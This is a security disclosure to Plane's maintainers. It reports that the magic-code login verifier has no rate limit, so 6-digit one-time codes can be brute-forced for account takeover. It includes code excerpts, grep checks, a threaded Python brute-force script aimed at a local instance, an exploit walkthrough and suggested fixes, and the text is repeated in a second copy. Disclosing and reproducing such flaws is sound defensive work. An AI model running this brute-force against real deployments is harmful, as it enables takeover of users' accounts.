Disclosure: Plane — Magic-code verifier endpoint has no rate limit, enabling 6-digit OTP brute force
To: security@plane.so — or github.com/makeplane/plane/security/advisories/new
Subject: [Security] Magic-code verifier endpoint has no rate limit — pre-auth ATO via 6-digit OTP brute force
Severity: HIGH (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N ≈ 9.1)
Affected versions: makeplane/plane — all versions through current preview/main (HEAD 50a7b47b).
Reporter: Philip Shteyn, CTO, offroad.ai (philip@offroad.ai)
Date: 2026-05-15
Summary
Plane's magic-code email login uses a 6-digit numeric OTP (~20 bits of entropy, 1 in 900,000 codes). The verifier endpoint:
- Has no per-code failed-attempt counter — a wrong code does not increment any counter, does not invalidate the redis entry, and does not lock out the email.
- Extends
django.views.View (plain Django), not DRF's APIView — so the project-level DEFAULT_THROTTLE_CLASSES = AnonRateThrottle "30/minute" (configured in settings/common.py) does not apply.
- Has no Django-level rate-limit middleware in the stack (no
django-ratelimit, no django-axes, no IP throttle middleware).
The generator does enforce a 3-attempt regenerate cap, but that is the wrong half of the problem — the verifier is unbounded. A single-IP attacker covers the full 900K-code space in ~5 hours at 50 req/s, or minutes with HTTP/2 pipelining + distributed IPs. Pre-auth ATO of any Plane account whose email the attacker knows.
(Note: this finding clarifies a prior public-source observation that the bug was at magic_code.py:56 — that line is in the generator, which is rate-limited. The actual unrestricted brute-force surface is in the verifier views, which are outside the throttle envelope.)
Details
Generator — apps/api/plane/authentication/provider/credentials/magic_code.py:54-95:
def initiate(self):
token = str(secrets.randbelow(900000) + 100000) # 6-digit
ri = redis_instance()
key = "magic_" + str(self.key)
if ri.exists(key):
data = json.loads(ri.get(key))
current_attempt = data["current_attempt"] + 1
if data["current_attempt"] > 2:
# raise EMAIL_CODE_ATTEMPT_EXHAUSTED
...
The "attempt" counter only increments on regenerate (calls to initiate), not on verify.
Verifier — apps/api/plane/authentication/provider/credentials/magic_code.py:97-133:
def set_user_data(self):
ri = redis_instance()
if ri.exists(self.key):
data = json.loads(ri.get(self.key))
token = data["token"]
# ...
if str(token) == str(self.code):
super().set_user_data({...})
ri.delete(self.key)
return
else:
# raise INVALID_MAGIC_CODE_SIGN_IN
...
On wrong code: the redis entry is not deleted and no counter is incremented.
Verifier views — apps/api/plane/authentication/views/app/magic.py:61 and :132:
class MagicSignInEndpoint(View): # plain django.views.View — not DRF
def post(self, request):
# ...
provider = MagicCodeProvider(request=request, key=f"magic_{email}", code=code, ...)
user = provider.authenticate()
DRF's DEFAULT_THROTTLE_CLASSES (AnonRateThrottle "30/minute") only applies to DRF views. The middleware stack in apps/api/plane/settings/common.py:103-117 contains no Django-level rate limiter.
Same pattern in apps/api/plane/authentication/views/space/magic.py:56, 115.
PoC
- Attacker hits
POST /auth/magic-generate/ with email=victim@example.com. Code is emailed to victim. Redis key magic_victim@example.com set with {current_attempt: 0, token: NNNNNN}, TTL 600s.
- Attacker hits
POST /auth/magic-sign-in/ with email=victim@example.com&code=000000. Wrong code returns INVALID_MAGIC_CODE_SIGN_IN. Redis entry survives. No counter.
- Attacker scripts the full 900,000-code space. At 50 req/s from a single IP, ~5 hours covers everything (expected hit ~2.5 hours). With distributed IPs / HTTP/2 pipelining, minutes.
- No DRF throttle fires (plain
View). Verification succeeds → user_login issues session.
The 600s TTL slightly raises the bar, but the regenerate endpoint can be hit up to 3 times per "magic_" key, extending the window to roughly 30 minutes per email — more than enough time to brute force at distributed-IP speed.
Level 0 — Static check (5 seconds)
git clone https://github.com/makeplane/plane && cd plane
# Confirm verifier views extend django.views.View (NOT DRF APIView)
grep -nB2 -A6 'class MagicSignInEndpoint' apps/api/plane/authentication/views/app/magic.py | head -15
# Confirm wrong-code path neither deletes redis nor increments counter
grep -nA 20 'def set_user_data' apps/api/plane/authentication/provider/credentials/magic_code.py | head -30
# Confirm NO django-level rate limit middleware
grep -E 'ratelimit|django_ratelimit|django-axes' apps/api/plane/settings/common.py || \
echo "VULN: no Django-level rate-limit middleware in settings/common.py"
Expected output on HEAD 50a7b47b: class MagicSignInEndpoint(View) (plain Django, not DRF), set_user_data has no counter increment on wrong code, no Django ratelimit middleware.
Level 1 — Brute-force reproducer against a local Plane instance
# Run Plane locally per its docs (docker-compose -f docker-compose-hub.yml up -d)
# Then this script demonstrates the lack of rate limiting:
python - <<'PY'
import requests, time, concurrent.futures as cf
TARGET = "http://localhost:8000"
VICTIM = "victim@example.com"
# 1) Trigger code generation (this is the only rate-limited endpoint)
requests.post(f"{TARGET}/auth/magic-generate/", json={"email": VICTIM})
print(f"Code emailed to {VICTIM}. Beginning brute force on /auth/magic-sign-in/...")
# 2) Brute-force the verifier — NO rate limit
def attempt(code):
r = requests.post(
f"{TARGET}/auth/magic-sign-in/",
json={"email": VICTIM, "code": f"{code:06d}"},
)
return code, r.status_code
start = time.time()
hits = 0
with cf.ThreadPoolExecutor(max_workers=50) as ex:
for code, status in ex.map(attempt, range(0, 1000)): # try first 1k as demo
if status == 200:
print(f"BUG CONFIRMED — brute force succeeded with code {code:06d}")
print(f" Attempts so far: {code+1}")
print(f" Elapsed: {time.time()-start:.1f}s")
print(f" Full search space (900K codes) would take ~{(900000/(code+1))*(time.time()-start)/60:.0f} minutes at this rate")
exit(0)
hits += 1
print(f"No hit in first 1000 codes. Sustained {hits/(time.time()-start):.0f} req/s with no throttle.")
print(f"Full space brute force feasible: {hits/(time.time()-start)*900:.0f}s ≈ "
f"{hits/(time.time()-start)*900/60:.0f} minutes for full coverage.")
PY
Expected: either BUG CONFIRMED if you get lucky, or a sustained req/s number proving brute force is unthrottled.
Exploit walkthrough (end-to-end)
- Attacker hits
POST /auth/magic-generate/ with email=victim@example.com. Code is emailed to victim. Redis key magic_victim@example.com set with {current_attempt: 0, token: NNNNNN}, TTL 600s.
Impact
- Default config: magic-code email login is the documented passwordless flow.
- No misconfiguration of Plane.
- No MITM, no IdP compromise, no victim-mailbox control.
- The exploit requires only knowing the victim's email address.
Suggested fix
Three independent fixes, any of which closes the bug; all three together are recommended:
1. Increment a failed_attempts counter on wrong code; reject after N (5 is reasonable):
# In set_user_data, the else branch:
data["failed_attempts"] = data.get("failed_attempts", 0) + 1
if data["failed_attempts"] >= 5:
ri.delete(self.key)
raise ATTEMPTS_EXHAUSTED
ri.set(self.key, json.dumps(data), ex=ri.ttl(self.key))
2. Move verifier views to DRF APIView so DEFAULT_THROTTLE_CLASSES applies; or add a @method_decorator(ratelimit(...)) decorator with a tight per-email and per-IP cap.
3. Increase code entropy. A 6-digit code with a 10-minute TTL is the absolute floor of what NIST 800-63B permits (and it explicitly requires a strict failed-attempt cap, which is the bug here). Consider 8-digit codes — adds 6.6 bits, brings brute-force back to days at distributed speed.
Reporter
Philip Shteyn
CTO, offroad.ai
Email: philip@offroad.ai
Disclosure: Plane — Magic-code verifier endpoint has no rate limit, enabling 6-digit OTP brute force
To:
security@plane.so— or github.com/makeplane/plane/security/advisories/newSubject:
[Security] Magic-code verifier endpoint has no rate limit — pre-auth ATO via 6-digit OTP brute forceSeverity: HIGH (CVSS 3.1:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N≈ 9.1)Affected versions:
makeplane/plane— all versions through currentpreview/main(HEAD50a7b47b).Reporter: Philip Shteyn, CTO, offroad.ai (
philip@offroad.ai)Date: 2026-05-15
Summary
Plane's magic-code email login uses a 6-digit numeric OTP (~20 bits of entropy, 1 in 900,000 codes). The verifier endpoint:
django.views.View(plain Django), not DRF'sAPIView— so the project-levelDEFAULT_THROTTLE_CLASSES = AnonRateThrottle "30/minute"(configured insettings/common.py) does not apply.django-ratelimit, nodjango-axes, no IP throttle middleware).The generator does enforce a 3-attempt regenerate cap, but that is the wrong half of the problem — the verifier is unbounded. A single-IP attacker covers the full 900K-code space in ~5 hours at 50 req/s, or minutes with HTTP/2 pipelining + distributed IPs. Pre-auth ATO of any Plane account whose email the attacker knows.
(Note: this finding clarifies a prior public-source observation that the bug was at
magic_code.py:56— that line is in the generator, which is rate-limited. The actual unrestricted brute-force surface is in the verifier views, which are outside the throttle envelope.)Details
Generator —
apps/api/plane/authentication/provider/credentials/magic_code.py:54-95:The "attempt" counter only increments on regenerate (calls to
initiate), not on verify.Verifier —
apps/api/plane/authentication/provider/credentials/magic_code.py:97-133:On wrong code: the redis entry is not deleted and no counter is incremented.
Verifier views —
apps/api/plane/authentication/views/app/magic.py:61and:132:DRF's
DEFAULT_THROTTLE_CLASSES(AnonRateThrottle "30/minute") only applies to DRF views. The middleware stack inapps/api/plane/settings/common.py:103-117contains no Django-level rate limiter.Same pattern in
apps/api/plane/authentication/views/space/magic.py:56, 115.PoC
POST /auth/magic-generate/withemail=victim@example.com. Code is emailed to victim. Redis keymagic_victim@example.comset with{current_attempt: 0, token: NNNNNN}, TTL 600s.POST /auth/magic-sign-in/withemail=victim@example.com&code=000000. Wrong code returnsINVALID_MAGIC_CODE_SIGN_IN. Redis entry survives. No counter.View). Verification succeeds →user_loginissues session.The 600s TTL slightly raises the bar, but the regenerate endpoint can be hit up to 3 times per "magic_" key, extending the window to roughly 30 minutes per email — more than enough time to brute force at distributed-IP speed.
Level 0 — Static check (5 seconds)
Expected output on HEAD
50a7b47b:class MagicSignInEndpoint(View)(plain Django, not DRF),set_user_datahas no counter increment on wrong code, no Django ratelimit middleware.Level 1 — Brute-force reproducer against a local Plane instance
Expected: either
BUG CONFIRMEDif you get lucky, or a sustained req/s number proving brute force is unthrottled.Exploit walkthrough (end-to-end)
POST /auth/magic-generate/withemail=victim@example.com. Code is emailed to victim. Redis keymagic_victim@example.comset with{current_attempt: 0, token: NNNNNN}, TTL 600s.Impact
Suggested fix
Three independent fixes, any of which closes the bug; all three together are recommended:
1. Increment a
failed_attemptscounter on wrong code; reject after N (5 is reasonable):2. Move verifier views to DRF
APIViewsoDEFAULT_THROTTLE_CLASSESapplies; or add a@method_decorator(ratelimit(...))decorator with a tight per-email and per-IP cap.3. Increase code entropy. A 6-digit code with a 10-minute TTL is the absolute floor of what NIST 800-63B permits (and it explicitly requires a strict failed-attempt cap, which is the bug here). Consider 8-digit codes — adds 6.6 bits, brings brute-force back to days at distributed speed.
Reporter
Philip Shteyn
CTO, offroad.ai
Email:
philip@offroad.ai